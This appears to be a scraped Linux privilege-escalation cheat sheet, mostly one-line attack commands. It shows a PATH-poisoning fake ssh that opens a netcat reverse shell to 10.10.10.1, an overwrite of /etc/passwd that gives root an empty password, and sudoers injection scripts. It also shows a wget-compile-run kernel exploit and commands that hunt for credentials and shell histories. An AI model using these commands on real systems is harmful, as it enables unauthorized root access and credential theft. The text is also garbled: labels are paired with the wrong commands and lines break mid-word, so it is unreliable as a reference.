Академический Документы
Профессиональный Документы
Культура Документы
Things to look: Miss-configured services (cronjobs), incorrect file permissions (exportfs, sudo), miss-configured environment
($PATH), binary with SUID bit, software or OS with known vulnerabilities.
First try simple sudo:
$ sudo su -
$ sudo -l
$ ps aux | grep root
Look for vulnerable/privileged components such as: mysql, sudo, udev, python
If /etc/exports if writable, you can add an NFS entry or change and existing entry adding the no_root_squash flag to a root
directory, put a binary with SUID bit on, and get root.
If there is a cronjob that runs as run but it has incorrect file permissions, you can change it to run your SUID binary and get a
shell.
The following command will list processes running by root, permissions and NFS exports.
$ netstat -ano
$ alias nonempty="egrep -v '^[ \t]*#|^$'"
If Mysql is running as root, you can run commands using sys_exec() . For instance, to add user to sudoers:
$ cat /etc/issue; cat /etc/*-release; cat /etc/lsb-release; cat /etc/redhat-release;
Architecture
$ cat /proc/version; uname -a; uname -mrs; rpm -q kernel; dmesg | grep Linux; ls /boot | grep
vmlinuz-; file /bin/ls; cat /etc/lsb-release
Environment variables
$ cat /etc/profile; cat /etc/bashrc; cat ~/.bash_profile; cat ~/.bashrc; cat ~/.bash_logout; e
nv; set
Find printers
$ lpstat -a
$ ls -alh /usr/bin/; ls -alh /sbin/; dpkg -l; rpm -qa; ls -alh /var/cache/apt/archivesO; ls -a
lh /var/cache/yum/*;
$ find /etc/ -writable -type f 2>/dev/null
Miss-configured services
$ cat /etc/syslog.conf; cat /etc/chttp.conf; cat /etc/lighttpd.conf; cat /etc/cups/cupsd.con
f; cat /etc/inetd.conf; cat /etc/apache2/apache2.conf; cat /etc/my.conf; cat /etc/httpd/conf/h
ttpd.conf; cat /opt/lampp/etc/httpd.conf; ls -aRl /etc/ | awk '$1 ~ /^.*r.*/
Scheduled jobs
$ crontab -l; ls -alh /var/spool/cron; ls -al /etc/ | grep cron; ls -al /etc/cron*; cat /etc/c
ron*; cat /etc/at.allow; cat /etc/at.deny; cat /etc/cron.allow; cat /etc/cron.deny
$ grep -i user [filename]
grep -i pass [filename]
grep -C 5 "password" [filename]
find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password"
$ grep "localhost" ./ -R
Network configuration
$ /sbin/ifconfig -a; cat /etc/network/interfaces; cat /etc/sysconfig/network; cat /etc/resolv.
conf; cat /etc/sysconfig/network; cat /etc/networks; iptables -L; hostname; dnsdomainname
$ ls -ahlR /root/; ls -ahlR /home/
$ cat ~/.bash_history; cat ~/.nano_history; cat ~/.atftp_history; cat ~/.mysql_history; cat
~/.php_history
User mails
$ cat ~/.bashrc; cat ~/.profile; cat /var/mail/root; cat /var/spool/mail/root
$ find / -name wget; find / -name nc*; find / -name netcat*; find / -name tftp*; find / -name
ftp
Mounted filesystems
$ mount; df -h; cat /etc/fstab
$ find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 6 -exec ls -ld {} \; 2>/dev/null
$ find / -perm -1000 -type d 2>/dev/null
$ find / -perm -g=s -type f 2>/dev/null
Adding a binary to PATH, to hijack another SUID binary invokes it without the fully qualified path.
$ function /usr/bin/foo () { /usr/bin/echo "It works"; }
https://guif.re/linuxeop#Linux elevation of privileges, manual testing 2/4
3/24/2019 Linux elevation of privileges
$ export -f /usr/bin/foo
$ /usr/bin/foo
It works
if you can just change PATH, the following will add a poisoned ssh binary:
set PATH="/tmp:/usr/local/bin:/usr/bin:/bin"
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.1 4444 >/tmp/f" >> /tmp/
ssh
chmod +x ssh
If you can get root to execute anything, the following will change a binary owner to him and set the SUID flag:
$ chown root:root /tmp/setuid;chmod 4777 /tmp/setuid;
$ echo 'root::0:0:root:/root:/bin/bash' > /etc/passwd; su
$ echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD:ALL" >> /etc/sudoers && chmod 44
0 /etc/sudoers' > /tmp/update
Wildcard injection if there is a cron with a wildcard in the command line, you can create a file, whose name will be passed as an
argument to the cron task, For more info:
https://www.sans.org/reading-room/whitepapers/testing/attack-defend-linux-privilege-escalation-
techniques-2016-37562
$id; who; w; last; cat /etc/passwd | cut -d: -f1; echo 'sudoers:'; cat /etc/sudoers; sudo -l
$ echo "world-writeable folders"; find / -writable -type d 2>/dev/null; echo "world-writeable
folders"; find / -perm -222 -type d 2>/dev/null; echo "world-writeable folders"; find / -per
m -o w -type d 2>/dev/null; echo "world-executable folders"; find / -perm -o x -type d 2>/dev/
null; echo "world-writeable & executable folders"; find / \( -perm -o w -perm -o x \) -typ
e d 2>/dev/null;
$ find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print
$ find /dir -xdev \( -nouser -o -nogroup \) -print
#!/usr/bin/env python
import os
import sys
try:
os.system('echo "username ALL=(ALL:ALL) ALL" >> /etc/sudoers')
except:
sys.exit()
wget http://downloads.securityfocus.com/vulnerabilities/exploits/36038-6.c; gcc 36038-6.c -m3
2 -o ring0; chmod +x ring0; ./ring0